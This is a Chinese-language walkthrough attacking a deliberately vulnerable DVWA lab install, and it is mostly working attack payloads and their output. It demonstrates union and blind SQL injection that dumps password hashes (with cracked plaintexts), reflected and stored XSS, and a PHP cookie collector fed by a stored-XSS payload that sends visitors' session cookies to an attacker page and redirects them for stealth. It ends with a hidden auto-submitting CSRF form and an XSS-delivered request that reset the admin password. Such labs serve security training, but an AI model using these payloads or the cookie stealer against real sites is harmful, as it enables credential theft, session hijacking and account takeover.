点击获取所有**users**表的字段

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201,concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273%20%23&Submit=%C8%B7%B6%A8

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' UNION SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273 #&Submit=确定
```

column_name

column_name指的是表的列名

0x7573657273

0x7573657273这个是users的十六进制表示形式。

```
mysql> select hex('users');
+--------------+
| hex('users') |
+--------------+
| 7573657273   |
+--------------+
1 row in set (0.00 sec)
```

mysql中的查询结果

```
mysql> SELECT 1,concat(column_name) from information_schema.columns where table_name=0x7573657273;
+---+---------------------+
| 1 | concat(column_name) |
+---+---------------------+
| 1 | user_id             |
| 1 | first_name          |
| 1 | last_name           |
| 1 | user                |
| 1 | password            |
| 1 | id                  |
| 1    |...                    |
+---+---------------------+
45 rows in set (0.00 sec)
```

获取当前数据库**users**表的内容

http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1%27%20UNION%20SELECT%201,concat(user,0x3a,password)%20from%20users%20%23&Submit=%C8%B7%B6%A8

```
ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: admin:7fef6171469e80d32c0559f88b377245

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: gordonb:e99a18c428cb38d5f260853678922e03

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: 1337:8d3533d75ae2c3966d7e0d4fcc69216b

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: pablo:0d107d09f5bbe40cade3de5c71e9e9b7

ID: -1' UNION SELECT 1,concat(user,0x3a,password) from users #
First name: 1
Surname: smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

url解码后：

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli/?id=-1' UNION SELECT 1,concat(user,0x3a,password) from users
 #&Submit=确定
```

mysql中的查询结果：

```
mysql> SELECT 1,concat(user,0x3a,password) from users;
+---+-------------------------------------------+
| 1 | concat(user,0x3a,password)                |
+---+-------------------------------------------+
| 1 | admin:7fef6171469e80d32c0559f88b377245    |
| 1 | gordonb:e99a18c428cb38d5f260853678922e03  |
| 1 | 1337:8d3533d75ae2c3966d7e0d4fcc69216b     |
| 1 | pablo:0d107d09f5bbe40cade3de5c71e9e9b7    |
| 1 | smithy:5f4dcc3b5aa765d61d8327deb882cf99   |
+---+-------------------------------------------+
5 rows in set (0.00 sec)

mysql>
```

0x3a

十六进制0x3a=十进制58

```
mysql> select hex(58);
+---------+
| hex(58) |
+---------+
| 3A      |
+---------+
1 row in set (0.00 sec)
```

```
mysql>
```

```
mysql> select ascii(':');
+------------+
| ascii(':') |
+------------+
|         58 |
+------------+
1 row in set (0.00 sec)

mysql>
```

dvwacn之二sql盲注

dvwacn之sql物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/sqli_blind/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php

if (isset($_GET['Submit'])) {

    // Retrieve data

    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors

    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");

        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';

        $i++;
    }
}
?>
```

- medium.php

```
<?php

if (isset($_GET['Submit'])) {

    // Retrieve data

    $id = $_GET['id'];
    $id = mysql_real_escape_string($id);

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors

    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
```

```
    $i=0;

    while ($i < $num) {

        $first=mysql_result($result,$i,"first_name");
        $last=mysql_result($result,$i,"last_name");

        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';

        $i++;
    }
}
?>
```

- high.php

```
<?php

if(isset($_GET['Submit'])){

    // Retrieve data

    $id = $_GET['id'];
    $id = stripslashes($id);
    $id = mysql_real_escape_string($id);

    if (is_numeric($id)) {

        $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
        $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors

        $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'

        $i=0;

        while ($i < $num) {

            $first = mysql_result($result,$i,"first_name");
            $last = mysql_result($result,$i,"last_name");

            $html .= '<pre>';
            $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
            $html .= '</pre>';

            $i++;
        }
    }
}
?>
```

实际的查询语句是

```
SELECT first_name, last_name FROM users WHERE user_id = '$id'
```

sql盲注url地址

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/

用户ID输入：

```
1' and 1=1 and '1'='1
```

实际上拼接的sql语句是：

```
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 and '1'='1'
```

mysql中的查询结果是

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 and '1'='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

测试是否有注入,对比页面返回（**and 1=1**）

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%201=1%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and 1=1 and '1'='1
First name: admin
Surname: admin
```

url解码

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and 1=1 and '1'='1&Submit=确定
```

测试是否有注入,对比页面返回（**and 1=2**）

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%201=2%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
页面显示空白
```

url解码

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and 1=2 and '1'='1&Submit=确定
```

测试数据库版本,有数据说明数据库版本为**5.0**

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(version(),1)=5%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(version(),1)=5 and '1'='1
First name: admin
Surname: admin
```

url解码

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(version(),1)=5 and '1'='1&Submit=确定
```

mysql中查询结果

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and left(version(),1)=4 and '1'='1';
Empty set (0.00 sec)

mysql>

mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and left(version(),1)=5 and '1'='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

说明mysql版本是以5打头的。

left()函数

用法

left(str, length)

返回字符串str的最左面len个字符。

```
mysql> select LEFT('www.mxnet.io', 3);
+-------------------------+
| LEFT('www.mxnet.io', 3) |
+-------------------------+
| www                     |
+-------------------------+
1 row in set (0.00 sec)

mysql>
```

该函数是多字节可靠的。

常用的mysql截取函数有：left(), right(), substring(), substring_index()

- 左截取left(str, length)
- 右截取right(str, length)

```
mysql> select right('www.mxnet.io', 2);
+--------------------------+
| right('www.mxnet.io', 2) |
+--------------------------+
| io                       |
+--------------------------+
1 row in set (0.00 sec)

mysql>
```

- substring(str, pos); substring(str, pos, len)

```
从第5个字符开始

mysql> select substring('www.mxnet.io', 5);
+-----------------------------+
| substring('www.mxnet.io', 5) |
+-----------------------------+
| mxnet.io                    |
+-----------------------------+
1 row in set (0.00 sec)

从第5个字符到第7个字符

mysql> select substring('www.mxnet.io', 5,7);
+-------------------------------+
| substring('www.mxnet.io', 5,7) |
+-------------------------------+
| mxnet.i                       |
+-------------------------------+
1 row in set (0.00 sec)

倒数2个字符

mysql> select substring('www.mxnet.io', -2);
+-----------------------------+
| substring('www.mxnet.io', -2) |
+-----------------------------+
| io                          |
+-----------------------------+
1 row in set (0.00 sec)

mysql>
```

- substring_index(str,delim,count)

```
以.为分隔符，以此显示.分隔符前的字符

mysql> select substring_index('www.mxnet.io', '.',1);
+---------------------------------------+
| substring_index('www.mxnet.io', '.',1) |
+---------------------------------------+
| www                                   |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> select substring_index('www.mxnet.io', '.',2);
+---------------------------------------+
| substring_index('www.mxnet.io', '.',2) |
+---------------------------------------+
| www.mxnet                             |
+---------------------------------------+
1 row in set (0.00 sec)

mysql> select substring_index('www.mxnet.io', '.',3);
+---------------------------------------+
| substring_index('www.mxnet.io', '.',3) |
+---------------------------------------+
| www.mxnet.io                          |
```

```
+---------------------------------------+
1 row in set (0.00 sec)

mysql>
```

version()函数

显示数据库版本号

```
mysql> select version();
+----------------------------+
| version()                  |
+----------------------------+
| 5.5.41-0ubuntu0.14.04.1-log |
+----------------------------+
1 row in set (0.00 sec)

mysql>
```

测试数据库长度,有数据说明长度正确

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20length(database())=6%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and length(database())=6 and '1'='1
First name: admin
Surname: admin
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and length(database())=6 and '1'='1&Submit=确定
```

mysql中的查询结果

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and length(database())=6 and '1'='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

length()函数

mysql获取字符串长度函数

length:是计算字段的长度一个汉字是算三个字符,一个数字或字母算一个字符

```
mysql> select user from users where length(user)=5;
+-------+
| user  |
+-------+
| admin |
```

```
| pablo |
+-------+
2 rows in set (0.00 sec)

mysql>
```

database()函数

显示当前数据库

```
mysql> select database();
+------------+
| database() |
+------------+
| dvwacn     |
+------------+
1 row in set (0.00 sec)

mysql>
```

测试数据库名称第1个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),1)=%27d%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),1)='d' and '1'='1
First name: admin
Surname: admin
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(database(),1)='d' and '1'='1&Submit=确定
```

mysql中查询结果

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and left(database(),1)='d' and '1'='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

测试数据库名称第2个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),2)=%27dv%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),1)='dv' and '1'='1
First name: admin
Surname: admin
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(database(),2)='dv' and '1'='1&Submit=确定
```

mysql中查询结果

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and left(database(),2)='dv' and '1'='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

测试数据库名称第**3**个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),3)=%27dvw%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),3)='dvw' and '1'='1
First name: admin
Surname: admin
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(database(),3)='dvw' and '1'='1&Submit=确定
```

mysql中查询结果

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and left(database(),3)='dvw' and '1'='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

测试数据库名称第**4**个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),4)=%27dvwa%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),4)='dvwa' and '1'='1
First name: admin
Surname: admin
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(database(),4)='dvwa' and '1'='1&Submit
=确定
```

mysql中查询结果

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and left(database(),4)='dvwa' and '1'='1';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

测试数据库名称第**5**个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),5)=%27dvwac%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),5)='dvwac' and '1'='1
First name: admin
Surname: admin
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(database(),5)='dvwac' and '1'='1&Submi
t=确定
```

mysql中查询结果

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and left(database(),5)='dvwac' and '1'='1'
;
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

测试数据库名称第**6**个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1%27%20and%20left(database(),6)=%27dvwacn%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),6)='dvwacn' and '1'='1
First name: admin
Surname: admin
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(database(),6)='dvwacn' and '1'='1&Subm
```

```
it=确定
```

mysql中查询结果

```
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1' and left(database(),6)='dvwacn' and '1'='1
';
+------------+-----------+
| first_name | last_name |
+------------+-----------+
| admin      | admin     |
+------------+-----------+
1 row in set (0.00 sec)

mysql>
```

从左边起，查询当前数据库的前6个字符

```
mysql> SELECT left(database(),6);
+--------------------+
| left(database(),6) |
+--------------------+
| dvwacn             |
+--------------------+
1 row in set (0.00 sec)

mysql>
```

sqlmap获取dvwacn.users表内容

运行命令

```
sqlmap -u "http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1&Submit=%C8%B7%B6%A8#" --cookie="secur
ity=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2" --dbms=mysql -D dvwacn -T user -C --dump
```

获取到的用户名和密码

```
Database: dvwacn
Table: users
[5 entries]
+---------+--------------------------------------------+
| user    | password                                   |
+---------+--------------------------------------------+
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| admin   | 7fef6171469e80d32c0559f88b377245 (admin888) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+--------------------------------------------+
```

dvwacn之三反射型xss

dvwacn之反射型xss物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/xss_r/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {

 $html .= '<pre>';
 $html .= 'Hello ' . $_GET['name'];
 $html .= '</pre>';

}
```

- medium.php

```
<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {

 $html .= '<pre>';
 $html .= 'Hello ' . str_replace('<script>', '', $_GET['name']);
 $html .= '</pre>';

}
```

- high.php

```
<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

 $isempty = true;

} else {

 $html .= '<pre>';
 $html .= 'Hello ' . htmlspecialchars($_GET['name']);
 $html .= '</pre>';
```

```
}
```

low.php中name参数未经任何处理，直接返回用户提交数据

```
$_GET['name']
```

反射型xss地址

http://192.168.56.80/dvwacn/vulnerabilities/xss_r/

用户输入：

```
<script>alert('xss')</script>
```

页面返回弹窗内容'xss'

反射型跨站测试

http://192.168.56.80/dvwacn/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27%B7%B4%C9%E4%D0%CD%BF%E7%D5%BE%B2%E2%CA%D4%27)%3C/script%3E

页面弹窗

```
反射型跨站测试
```

url解码

```
http://192.168.56.80/dvwacn/vulnerabilities/xss_r/?name=<script>alert('反射型跨站测试')</script>
```

获取用户**cookie**

输入

```
<script>alert(document.cookie)</script>
```

页面返回当前用户cookie

```
security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2
```

url地址

http://192.168.56.80/dvwacn/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E#

url解码

```
http://192.168.56.80/dvwacn/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>#
```

dvwacn之四存储型xss

dvwacn之存储型xss物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/xss_s/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php

if(isset($_REQUEST['btnSign']))
{

   $message = trim($_REQUEST['mtxMessage']);
   $name    = trim($_REQUEST['txtName']);

   // Sanitize message input
   $message = stripslashes($message);
   $message = mysql_real_escape_string($message);

   // Sanitize name input
   $name = mysql_real_escape_string($name);

   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>
```

- medium.php

```
<?php

if(isset($_POST['btnSign']))
{

   $message = trim($_POST['mtxMessage']);
   $name    = trim($_POST['txtName']);

   // Sanitize message input
   $message = trim(strip_tags(addslashes($message)));
   $message = mysql_real_escape_string($message);
   $message = htmlspecialchars($message);

   // Sanitize name input
   $name = str_replace('<script>', '', $name);
   $name = mysql_real_escape_string($name);

   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
```

```
}

?>
```

- high.php

```
<?php

if(isset($_POST['btnSign']))
{

   $message = trim($_POST['mtxMessage']);
   $name    = trim($_POST['txtName']);

   // Sanitize message input
   $message = stripslashes($message);
   $message = mysql_real_escape_string($message);
   $message = htmlspecialchars($message);

   // Sanitize name input
   $name = stripslashes($name);
   $name = mysql_real_escape_string($name);
   $name = htmlspecialchars($name);

   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

}

?>
```

low.php中name和message参数未经任何处理，直接将用户提交数据存入数据库。

```
 // Sanitize message input
   $message = stripslashes($message);
   $message = mysql_real_escape_string($message);

   // Sanitize name input
   $name = mysql_real_escape_string($name);

   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
```

存储型xss地址

http://192.168.56.80/dvwacn/vulnerabilities/xss_s/

存储型跨站测试

http://192.168.56.80/dvwacn/vulnerabilities/xss_s/?txtName=anchiva&mtxMessage=%3Cscript%3Ealert(%27%B4%E6%B4%A2%D0%CD%BF%E7%D5%BE%B2%E2%CA%D4%27)%3C/script%3E&btnSign=%B7%A2%CB%CD%CF%FB%CF%A2

页面弹窗

```
存储型型跨站测试
```

url解码

```
http://192.168.56.80/dvwacn/vulnerabilities/xss_s/?txtName=anchiva&mtxMessage=<script>alert('存储型型跨站测试')
</script>&btnSign=发送消息
```

获取用户**cookie**

用户输入：

```
用户名：admin

信息：<script>alert(document.cookie)</script>
```

页面返回当前用户cookie

```
security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2
```

捕获的http数据包内容

```
POST /dvwacn/vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/xss_s/
Cookie: security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

txtName=admin&mtxMessage=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&btnSign=%B7%A2%CB%CD%CF%FB%CF%
A2
```

url解码post数据

```
txtName=admin&mtxMessage=<script>alert(document.cookie)</script>&btnSign=发送消息
```

查询数据库表内容

```
mysql> select * from dvwacn.guestbook;
+------------+-----------------------------------------+-------+
| comment_id | comment                                 | name  |
+------------+-----------------------------------------+-------+
|       1817 | <script>alert(document.cookie)</script> | admin |
+------------+-----------------------------------------+-------+
1 row in set (0.00 sec)

mysql>
```

只要一访问存储型xss页面，就会自动弹出当前用户cookie

自动获取用户**cookie**并发送到攻击者服务器

攻击者服务器获取用户cookie的网站的物理路径

```
root@webserver:/var/www/test/xss# ls
getcookie.php  cookie.txt
```

getcookie.php内容

```
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日时：分：秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt，若不存在则创建它
fwrite($fp," IP= " .$ip. " \n Date and Time= " .$time. " \n User Agent= ".$agent." \n Referer= ".$referer." \
n Cookie= ".$cookie." \n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Location: http://www.baidu.com"); //将网页重定向到百度，增强隐蔽性
?>
```

cookie.txt为接收用户cookie的文件

首先需要修改post提交的最大字符数

```
/var/www/dvwacn/vulnerabilities/xss_s/index.php
```

找到

```
<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea></td>
```

修改为

```
<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"500\"></textarea></td>
```

存储型xss地址

http://192.168.56.80/dvwacn/vulnerabilities/xss_s/

用户输入：

```
用户名：admin

信息：<script>document.write('<img src="http://192.168.56.80/test/xss/getcookie.php?cookie='+document.cookie+'
" width=0 height=0 border=0 />');</script>
```

查询数据库

```
mysql> select * from dvwacn.guestbook;
+------------+-----------------------------------------------------------------------------------------------
-------------------------------------------------+-------+
| comment_id | comment
                                                | name  |
+------------+-----------------------------------------------------------------------------------------------
-------------------------------------------------+-------+
|       1820 | <script>document.write('<img src="http://192.168.56.80/test/xss/getcookie.php?cookie='+documen
t.cookie+'" width=0 height=0 border=0 />');</script> | admin |
+------------+-----------------------------------------------------------------------------------------------
```

```
----------------------------------------------------+-------+
1 row in set (0.00 sec)

mysql>
```

查看攻击者服务器上的cookie.txt文件内容

```
root@webserver:/var/www/test/xss# cat cookie.txt
 IP= 192.168.56.1
 Date and Time= 2016-07-21 11:45:35
 User Agent= Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
 Referer= http://192.168.56.80/dvwacn/vulnerabilities/xss_s/
 Cookie= security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2
```

成功获取到用户cookie信息

换一个用户点击 `A2-存储型跨站`

再次查看攻击者服务器上的cookie.txt文件内容

```
 IP= 192.168.56.1
 Date and Time= 2016-07-21 11:45:35
 User Agent= Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
 Referer= http://192.168.56.80/dvwacn/vulnerabilities/xss_s/
 Cookie= security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2


 IP= 192.168.56.104
 Date and Time= 2016-07-21 1:12:50
 User Agent= Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/
537.36
 Referer= http://192.168.56.80/dvwacn/vulnerabilities/xss_s/
 Cookie= security=low; PHPSESSID=l9e9e7fnujrmplpbj0m06pvdr5
```

已经有2个用户cookie了。

dvwacn之五跨站请求伪造csrf

dvwacn之csrf物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/csrf/source# ls
high.php  low.php  medium.php
```

安全级别

- low.php

```
<?php

    if (isset($_GET['Change'])) {

        // Turn requests into variables
        $pass_new = $_GET['password_new'];
        $pass_conf = $_GET['password_conf'];


        if (($pass_new == $pass_conf)){
            $pass_new = mysql_real_escape_string($pass_new);
            $pass_new = md5($pass_new);

            $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
            $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

            $html .= "<pre> Ĝëă.嬓</pre>";
            mysql_close();
        }

        else{
            $html .= "<pre> Ĝë²»þƤ¡£ </pre>";
        }

    }
?>
```

- medium.php

```
<?php

    if (isset($_GET['Change'])) {

        // Checks the http referer header
        if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){

            // Turn requests into variables
            $pass_new = $_GET['password_new'];
            $pass_conf = $_GET['password_conf'];

            if ($pass_new == $pass_conf){
                $pass_new = mysql_real_escape_string($pass_new);
                $pass_new = md5($pass_new);

                $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
```

```
                $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

                $html .= "<pre> Ôëă,嬓</pre>";
                mysql_close();
            }

            else{
                $html .= "<pre> Ôë²»þÞ¡£ </pre>";
            }

        }

    }
?>
```

- high.php

```
<?php

    if (isset($_GET['Change'])) {

        // Turn requests into variables
        $pass_curr = $_GET['password_current'];
        $pass_new = $_GET['password_new'];
        $pass_conf = $_GET['password_conf'];

        // Sanitise current password input
        $pass_curr = stripslashes( $pass_curr );
        $pass_curr = mysql_real_escape_string( $pass_curr );
        $pass_curr = md5( $pass_curr );

        // Check that the current password is correct
        $qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
        $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );

        if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){
            $pass_new = mysql_real_escape_string($pass_new);
            $pass_new = md5($pass_new);

            $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
            $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );

            $html .= "<pre> Ôëă,嬓</pre>";
            mysql_close();
        }

        else{
            $html .= "<pre> Ôë²»þÞ» 暮j¡£</pre>";
        }

    }
?>
```

low.php中修改密码不需要知道原来的密码，并且不对referer进行检查

```
    if (isset($_GET['Change'])) {

        // Turn requests into variables
```

```
        $pass_new = $_GET['password_new'];
        $pass_conf = $_GET['password_conf'];


        if (($pass_new == $pass_conf)){
            $pass_new = mysql_real_escape_string($pass_new);
            $pass_new = md5($pass_new);

            $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
```

cstf地址

http://192.168.56.80/dvwacn/vulnerabilities/csrf/

单击我测试，密码将被更改为**admin888**

http://192.168.56.80/dvwacn/vulnerabilities/csrf/?password_new=admin888&password_conf=admin888&Change=%B8%FC%B8%C4

页面提示

```
密码已更改
```

url解码

```
http://192.168.56.80/dvwacn/vulnerabilities/csrf/?password_new=admin888&password_conf=admin888&Change=更改
```

csrf本地自动提交

本地新建csrf.html文件

文件内容如下

```
<body onload="javascript:csrf()">
<script>
function csrf(){
document.getElementById("button").click();
}
</script>


<style>
    form{
    display: none;
    }
</style>


<form method="GET" action="http://192.168.56.80/dvwacn/vulnerabilities/csrf/">
    请输入新密码:<br>
    <input type="password" name="password_new" autocomplete="on" value=admin> <br>
    请再输入一次: <br>
    <input type="password" name="password_conf" autocomplete="on" value=admin>
    <br>
    <input type="submit" name="Change" id="button" value="更改">
</form>
</body>
```

本地打开csrf.html后dvwacn的管理员密码就被修改为admin了

结合**xss.me**自动执行**csrf**

相信细心的人已经发现上面是一个html文件，需要诱使管理员打开，而且他还有弹窗。太被动了，想用ajax来发送吧，又需要跨域。怎么办呢？这里我们可以结合xss来完成攻击。

xss的精髓就是**xss**就是让对方执行你的**JS**代码

聪明的人已经想到了，那就是把csrf的ajax请求放到xss里，以达到攻击的效果，具体怎么做到呢，看完这一节，你就会了。

首先你要挖到一个xss漏洞(反射型、存储型都行，当然存储型更好)

存储型xss

http://192.168.56.80/dvwacn/vulnerabilities/xss_s/

xss.me平台

http://192.168.56.80/xssme/index.php?do=project&act=view&id=2

```
当前位置： 首页 > 项目代码

项目名称：csrf

项目代码：
var xmlhttp; if(window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); }else{ xmlhttp=new ActiveXObject("Micro
soft.XMLHTTP"); } xmlhttp.open("GET","http://192.168.56.80/dvwacn/vulnerabilities/csrf/?password_new=admin&pa
ssword_conf=admin&Change=更改",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencod
ed"); xmlhttp.send();
如何使用：
将如下代码植入怀疑出现xss的地方（注意'的转义），即可在 项目内容 观看XSS效果。

</textarea>'"><script src=http://192.168.56.80/xssme/oosEK5?1469157525></script>
或者

